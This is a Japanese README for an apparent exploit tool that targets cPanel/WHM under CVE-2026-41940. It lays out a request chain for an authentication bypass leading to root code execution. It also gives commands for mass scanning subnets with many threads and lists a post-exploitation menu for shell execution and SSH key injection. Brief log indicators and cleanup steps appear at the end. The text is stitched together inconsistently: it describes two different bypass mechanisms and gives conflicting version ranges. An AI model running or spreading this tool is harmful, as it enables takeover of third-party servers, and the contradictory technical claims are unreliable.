
CVE-2026-41940 — Dr.Anach による cPanel/WHM 認証バイパス。`cpsrvd` Basic 認証ハンドラーにおける CRLF インジェクション → 未認証の WHM API アクセス → root としての RCE。v11.40 以降のすべての cPanel が影響を受けます。
著者: Dr.Anach | 連絡先: @dranach | ライセンス: MIT
cpsrvd の Basic 認証ハンドラにおける CRLF インジェクション → 認証なしの WHM API アクセス → root としての RCE。v11.40 以降のすべての cPanel が影響を受けます。
| # | ステップ | リクエスト |
|---|---|---|
| 1 | セッション発行 | GET /login/?user=root |
| 2 | CRLFインジェクション | Authorization: Basic <base64> — パスワードに \r\n ペイロードを含める |
| 3 | キャッシュ昇格 | GET /cpsess<ID>/login/?login_only=1 |
| 4 | 実行 | GET /cpsess<ID>/execute/API/func |
pip install requests colorama
以下が最終版の README.md — 人間にわかりやすく、実用的で、作業を遂行することに重点を置いています。
著者: Dr.Anach · Telegram: @dranach
バージョン: 2.0.0
ライセンス: 許可されたセキュリティテストのみを対象
CVE-2026-41940、つまり cPanel & WHM(バージョン 11.x から 106.x)の認証バイパスを悪用します。この脆弱性により、認証されていない攻撃者が、攻撃者が制御するサーバーを指す細工された Host ヘッダーを送信することで、パスワードリセット機能を含む制限されたエンドポイントにアクセスできるようになります。
3つのモードを備えています:
| モード | フラグ | 説明 |
|---|---|---|
| 単一ターゲット | -t | 1つのIPまたはドメインをテスト |
| バッチファイル |
requests ライブラリpip install requests
他の依存関係はありません。 CIDR 展開には Python 標準の ipaddress モジュールを使用するため、Windows で追加インストールするものはありません。
python main.py -t example.com
python main.py -t 192.168.1.100
python main.py --batch targets.txt --threads 50
targets.txt の形式:
192.168.1.100
example.com
192.168.1.101
example.org
192.168.1.102
python main.py --port-scan 192.168.128.0/18 --threads 100 --timeout 5
これにより 192.168.128.0/18(16,384 IP)が展開され、各ホストに対して簡単なポートチェックを実行し、ポート 2087(cPanel/WHM)が開いているホストに対してのみエクスプロイトを試みます。
-t, --target Single target IP or domain
--batch FILE File with targets (one per line)
--port-scan CIDR CIDR range to scan (e.g., 192.168.128.0/18)
-p, --port Target port (default: 2087)
--ssl Use HTTPS (default: HTTP)
--timeout SEC Connection timeout in seconds (default: 10)
--threads N Max concurrent threads (default: 50)
--proxy PROXY HTTP proxy (e.g., http://127.0.0.1:8080)
-v, --verbose Verbose output with debug info
--no-banner Suppress banner
--version Show version
[+] 192.168.130.45:2087 — VULNERABLE!
→ Password reset URL: http://192.168.130.45:2087/reset?token=abc123
→ Response time: 1.23s
[-] 192.168.131.10:2087 — Not vulnerable
→ Reason: No password reset endpoint found
[!] 192.168.129.22:2087 — Error: Connection refused
結果は JSON として保存され、ホストごとに脆弱性ステータス、抽出されたトークン、生のレスポンス詳細が構造化されます。
あなたがここに来たのは、おそらくこのシナリオのためです:
python main.py --port-scan 192.168.128.0/18 -p 2087 --threads 100 --timeout 5 -v
仕組み:
192.168.128.0/18 → 内部的に 16,384 IPスレッド数のヒント:
--threads 100 が適しています(デフォルトのソケット制限に従います)--threads 200--threads 30 に下げて --timeout を増やしますCVSS 9.1(重大) — 認証不要、ユーザー操作不要、複雑さは低い。
Host ヘッダーをサーバー側で検証するこのツールは許可されたセキュリティ評価専用です。 テストを行う前に、ターゲットを所有しているか、所有者から書面による許可を得ている必要があります。 著者は誤用に対する責任を負いません。
help Show commands
info Server info
passwd Change password
accounts List cPanel accounts
enum Full enumeration
shell Execute system command
ssh-add Inject SSH key
exec Run Python one-liner
exit Exit
セッションファイルを確認:
ls -la /var/cpanel/sessions/raw/
ls -la /var/cpanel/sessions/cache/
/usr/local/cpanel/logs/access_log 内の不審なログ:
/login/?user=root → session mint
/login/?user=root → CRLF injection
/cpsess*/login/?login_only=1 → cache promotion
/cpsess*/execute/* → API abuse
# 1. Patch to fixed build
# 2. Rotate all passwords and SSH keys
# 3. Purge sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
--batch| ファイルからターゲットのリストを読み込む |
| CIDRスキャン | --port-scan | サブネットを展開し、すべての生存ホストをテスト |